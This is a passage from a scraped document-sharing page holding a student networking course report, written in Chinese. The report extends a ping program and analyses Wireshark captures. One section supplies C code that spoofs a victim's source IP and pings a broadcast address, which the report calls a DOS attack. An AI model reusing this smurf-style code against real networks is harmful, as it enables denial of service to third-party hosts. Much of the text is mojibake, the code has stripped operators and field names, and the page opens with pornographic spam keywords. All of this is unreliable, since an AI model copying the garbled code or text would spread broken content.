freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

計(jì)算機(jī)網(wǎng)絡(luò)課程設(shè)計(jì)(1)-資料下載頁(yè)

2025-06-04 15:16本頁(yè)面
  

【正文】 樣在發(fā)送的數(shù)據(jù)包的數(shù)量到達(dá)指定的數(shù)量的時(shí)候,我們的程序就去自動(dòng)調(diào)用停止函數(shù) readloopstop,此函數(shù)實(shí)現(xiàn)如下: Void readloopstop(int signo) { printf(\n**************Ping statistics for %s****************\n%d packets transmitted, %d packets received, %%% packet loss \n\ roundtrip min/avg/max = %ms\n\n,host,send_pk_num,recv_pk_num,((double)(send_pk_numrecv_pk_num)/(double)send_pk_num)*100,min_rtt,total_rtt/recv_pk_num,max_rtt)。 exit(1)。 } 發(fā)送每個(gè)數(shù)據(jù)包之間的空閑時(shí)間 在我們的 ping 程序執(zhí)行的時(shí)候,有的時(shí)候,我們會(huì)感覺(jué)輸出的太快啦,來(lái)不及仔細(xì)的參看,其實(shí)這不是輸出的太快,而其實(shí)質(zhì)是發(fā)送的數(shù)據(jù)包太快啦,使得接受的數(shù)據(jù)包源源不斷的來(lái),最終造成輸出的信息非???。 所以,我們加了 i 選項(xiàng),在它之后加一個(gè)數(shù)字的參數(shù),指定發(fā)送每個(gè)包之間的間隔時(shí)間是多少。 具體的實(shí)現(xiàn)如下: 在處理命令行部分加入如下代碼 : case 39。i39。: delay=atoi(optarg)。 if(delay0) err_quit(The delay value is too small! It must bigger than 0!)。 delay 代表著發(fā)送每個(gè)包之間的間隔時(shí)間,以秒為單位。 在 SIGALARM 信號(hào)的處理函數(shù)中加入如下代碼: alarm(delay)。 這樣發(fā)送每個(gè)包的時(shí)間間隔就是用于指定的延遲啦。 發(fā)送指定大小的數(shù)據(jù)包 有的時(shí)候我們?yōu)榱藴y(cè)試網(wǎng)絡(luò)的暢通性,需要發(fā)送大一點(diǎn)兒的數(shù)據(jù)包,而不是默認(rèn)的 56 字節(jié),所以,我們得有一個(gè)選項(xiàng)可以讓用戶設(shè)定 發(fā)送的數(shù)據(jù)包的大小,如果不設(shè)定,就是默認(rèn)的 56 字節(jié)。 因此,我們?cè)O(shè)計(jì)了 s 選項(xiàng),在它的后面加一個(gè)數(shù)字的參數(shù),指定要發(fā)送的數(shù)據(jù)包的大小。因?yàn)?ip 頭部中有一個(gè)字段是記錄著整個(gè)包的大小,而他是 2個(gè)字節(jié),再有就是還有 ip頭自身的大小,所以整個(gè)參數(shù)最大的設(shè)置值為 65400。又因?yàn)樵诰W(wǎng)絡(luò)中有 MTU 的概念,也就是能單獨(dú)發(fā)送的包的最大值由整個(gè)這條網(wǎng)絡(luò)中的最小包大小決定,我們的這個(gè) MTU 為 1500,而且大部分一般都為 1500,所以,在不拆分分組的情況下的最大值是 1472。最小值當(dāng)然是 8 了,因?yàn)槲覀兊糜盟鼇?lái)記錄這個(gè)分組發(fā)送的時(shí) 候的時(shí)間。 具體實(shí)現(xiàn)如下: 在處理命令行函數(shù)中加入如下代碼: case 39。s39。: datalen=atoi(optarg)。 if(datalen8) err_quit(The datalen value is too small! It must bigger than 8!)。 else if(datalen 1472 amp。amp。 datalen 65400) printf(The datalen value is bigger than MTU(1500),so you may not be sucess!\n)。 else if(datalen 65399) err_quit(The datalen value is too big!)。 break。 這樣 datalen 的值就變成了用戶期待的那個(gè)數(shù)據(jù)包的大小了。 改變服務(wù)類型 在不同的應(yīng)用中,我們常常需要不同的服務(wù)類型,例如在 ftp 下我們就需要最大吞吐量的類型,在 tel 下我們就需要最小延遲的類型。 所以,我們?cè)O(shè)計(jì)了 o 的選項(xiàng),在它后面加一個(gè)數(shù)字的參數(shù) ,指定要用到得類型,然后我們的程序就根據(jù)這個(gè)參數(shù)去對(duì)自己進(jìn)行優(yōu)化,使我們的程序運(yùn)行的更符合用戶的要求。 具體實(shí)現(xiàn)如下: 在命令行處理函數(shù)中加入如下代碼: case 39。o39。: temp=atoi(optarg)。 if(temp3 |temp0) err_quit(The server type is not exist!)。 server_type=server_types[atoi(optarg)]。 en_server_type=1。 break。 server_type 記錄著用戶指定的類型,在后面調(diào)用 setscketopt 函數(shù)對(duì)所創(chuàng)建的套接字進(jìn)行設(shè)置。 在 readloop 函數(shù)中,加入如下代碼: if(en_server_type) setsockopt(sockfd,IPPROTO_IP,IP_TOS,amp。server_type,sizeof(int))。 這樣對(duì)類型的設(shè)置就完成啦。 偽造源地址進(jìn)行 DOS 攻擊 我們都知道可以給你一個(gè)廣播地址發(fā)送一個(gè)回射請(qǐng)求,這樣所有處于這個(gè)廣播地址的局域網(wǎng)中的電腦都會(huì)給源主機(jī)發(fā)一個(gè)回射響應(yīng),要是這個(gè)局域網(wǎng)非 常龐大的話,那么這個(gè)回應(yīng)的數(shù)量就是非常恐怖的,那么就可以對(duì)這臺(tái)源電腦造成非常大的攻擊。我們可以通過(guò)這個(gè)選項(xiàng)將我們的 ip地址換成要攻擊的主機(jī)的 ip地址,然后向一個(gè)廣播地址發(fā)請(qǐng)求,這樣就可以起到攻擊的作用。 所以,我們?cè)O(shè)計(jì)的 r選項(xiàng),在它的后面加一個(gè) ip 地址,指定要替換為的攻擊目標(biāo)的 ip地址。 集體實(shí)現(xiàn)如下: 在命令行處理函數(shù)中加入如下代碼: case 39。r39。: i_aton(optarg,amp。)。 en_false_source_addr=1。 break。 這樣, 中就存放好了要攻擊的電腦的 ip 地址。 改寫(xiě)發(fā)送數(shù)據(jù)包的函數(shù)如下: Void send_v4(void) { int len。 int head_len。 struct icmp *icmp。 struct ip *ip。 if(en_false_source_addr) { head_len=sizeof(struct ip)+ sizeof(struct icmp)。 ip=(struct ip *)sendbuf。 ipip_v=IPVERSION。 ipip_hl=sizeof(struct ip) 2。 ipip_tos=server_type。 ipip_len=head_len+datalen。 ipip_id=0。 ipip_off=0。 ipip_ttl=ttl。 ipip_p=IPPROTO_ICMP。 ipip_sum=0。 ip=i_addr(prsasendsa_data)。 ip=。 icmp= (struct icmp *)(sendbuf+sizeof(struct ip))。 } else icmp = (struct icmp *) sendbuf。 icmpicmp_type = ICMP_ECHO。 icmpicmp_code = 0。 icmpicmp_id = pid。 icmpicmp_seq = nsent++。 gettimeofday((struct timeval *) icmpicmp_data, NULL)。 len = 8 + datalen。 /* checksum ICMP header and data */ icmpicmp_cksum = 0。 icmpicmp_cksum = in_cksum((u_short *) icmp, len)。 if(en_false_source_addr) len+=sizeof(struct ip)。 sendto(sockfd, sendbuf, len, 0, prsasend, prsalen)。 } 這樣就完成了修改源 ip地址的所有工作,我們就可以對(duì)目標(biāo)主機(jī)進(jìn)行攻擊啦。 七、實(shí)驗(yàn)數(shù)據(jù)、結(jié)果分析 實(shí)驗(yàn)一的結(jié)果分析 在實(shí)驗(yàn)一中做的實(shí)驗(yàn)大部分是在運(yùn)用抓包工具 wireshark 的各項(xiàng)功能,所以大部分的實(shí)驗(yàn)數(shù)據(jù)與結(jié)果都是圖片,在下面就將采用數(shù)據(jù)結(jié)果圖配合 分析描述的方法進(jìn)行介紹實(shí)驗(yàn)產(chǎn)生的數(shù)據(jù)與實(shí)驗(yàn)說(shuō)的出的結(jié)果。 抓包工具 wireshark 啟動(dòng)并設(shè)置網(wǎng)卡為混雜模式 上面就是我們的工具程序的主界面和網(wǎng)卡設(shè)置對(duì)話框的主界面,在設(shè)置對(duì)話框的左上部分有一個(gè) Capture packets in promiscuous mode 的選項(xiàng),這個(gè)被選中就是表示把這塊網(wǎng)卡設(shè)置為混雜模式。 捕獲數(shù)據(jù)包 這時(shí)便開(kāi)始獲取數(shù)據(jù)包了,在狀態(tài)欄我們可以看到現(xiàn)在接受到多少個(gè)包和當(dāng)前顯示了多少了。 編寫(xiě)過(guò)濾語(yǔ)句篩選數(shù)據(jù)包 這是在訪問(wèn)百度主頁(yè)之前的抓包 ,顯示沒(méi)有。 這是在我們用瀏覽器訪問(wèn)了一下百度主頁(yè)后的數(shù)據(jù)包篩選結(jié)果,可以看到已經(jīng)有好幾個(gè)數(shù)據(jù)包被用來(lái)我們的主機(jī)與百度主頁(yè)之間的通信了。從這兩個(gè)的對(duì)比可以看出用過(guò)濾語(yǔ)句對(duì)所抓的包進(jìn)行過(guò)濾是多么好的一個(gè)技術(shù)。 對(duì)多種協(xié)議數(shù)據(jù)包進(jìn)行分析 IP報(bào)文: 版本: 4 頭長(zhǎng)度: 20bytes 服務(wù)類型: 0x00 總長(zhǎng)度: 40 標(biāo)識(shí): 0x6d17 標(biāo)志: 0x02 片偏移: 0 生存時(shí)間: 54 協(xié)議: TCP( 6) 頭校驗(yàn)和: 0x979a 源 IP 地址: 目的 IP 地址: THERNET II 報(bào)文: 目標(biāo)地址 : Quantami_10:52:8d(20:7c:8f:10:52:8b) 源地址 : TpLinkT_27:80:d4(e0:05:c5:27:80:d4) 類型 : IP(0x0800) UDP報(bào)文: UDP源端口: capioverlan(1147) UDP目的端口: 33674(33674) 長(zhǎng)度: 28 UDP校驗(yàn)和: 0x82a6 數(shù)據(jù) Data: 100000002c31b691ac4f7612341316fb198bb732 TCP報(bào)文: 源端口號(hào) : (80) 目的端口 : imyx(1143) 順序號(hào)字段: 57288 確認(rèn)號(hào)字段: 604 頭部長(zhǎng)度 : 20bytes 保留域 : 0x11(FIN,ACK) 窗口大小 : 7168 TCP 校驗(yàn)和 : 0xba44 ICMP 報(bào)文: 類型: 8 (Echo (ping) request) ping 請(qǐng)求 代號(hào): 0 ( ) 校驗(yàn)和: 0x3d5c ID:0x0200 包序號(hào): 3584 (0x0e00) 數(shù)據(jù)包信息的統(tǒng)計(jì) 這是沒(méi)有過(guò)濾條件的統(tǒng)計(jì),所以也就是統(tǒng)計(jì)所有抓到得包。 這是統(tǒng)計(jì)所以 ipv4 的數(shù)據(jù)包的信息。 實(shí)驗(yàn)二 Ping 程序的 結(jié)果分析 發(fā)送指定數(shù)量得包后停止 此處設(shè)置了發(fā)送 5 次。 發(fā)送每個(gè)數(shù)據(jù)包之間的空閑時(shí)間 這時(shí)設(shè)置的是每?jī)擅氚l(fā)送一個(gè),顯然屏幕輸出的接收信息也變成每?jī)擅氪蛴∫淮巍? 處理接收到得所有類型的數(shù)據(jù)包 發(fā)送時(shí)指定生命值 第一個(gè)設(shè)置為 20 跳的時(shí)候,有返回,說(shuō)明到百度的服務(wù)器之間需要路由小于等于 10次,第二次 設(shè)置為 19跳的時(shí)候,就沒(méi)有返回啦,說(shuō)明到百度的服務(wù)器之間需要路由大于等于 19 次,所以就可以知道到百度的服務(wù)器之間需要路由 20次。 向廣播地址發(fā)送回射請(qǐng)求 啟用安靜模式 加上 q 選項(xiàng)就開(kāi)啟了安靜模式,這種模式下屏幕不會(huì)把所有接收到得數(shù)據(jù)包的分析結(jié)果都打印出來(lái),而只是在最后打印統(tǒng)計(jì)信息。 設(shè)置數(shù)據(jù)包大小 設(shè)置服務(wù)類型 偽裝源地址 第一個(gè)是把自己的源地址設(shè)置為源地址,那樣就可以返回來(lái),第二個(gè)是把另外一個(gè)源地址設(shè)置為源地址就不會(huì)返回發(fā)送的包了,包就返回給我們?cè)O(shè) 置的地址了。這樣 ping 一個(gè)大的廣播地址就可以造成 DOS 攻擊,可以讓一個(gè)主機(jī)陷入繁忙的回射回應(yīng)的處理中,而不能正常運(yùn)行。 顯示幫助 不加任何選項(xiàng)的 ping
點(diǎn)擊復(fù)制文檔內(nèi)容
畢業(yè)設(shè)計(jì)相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1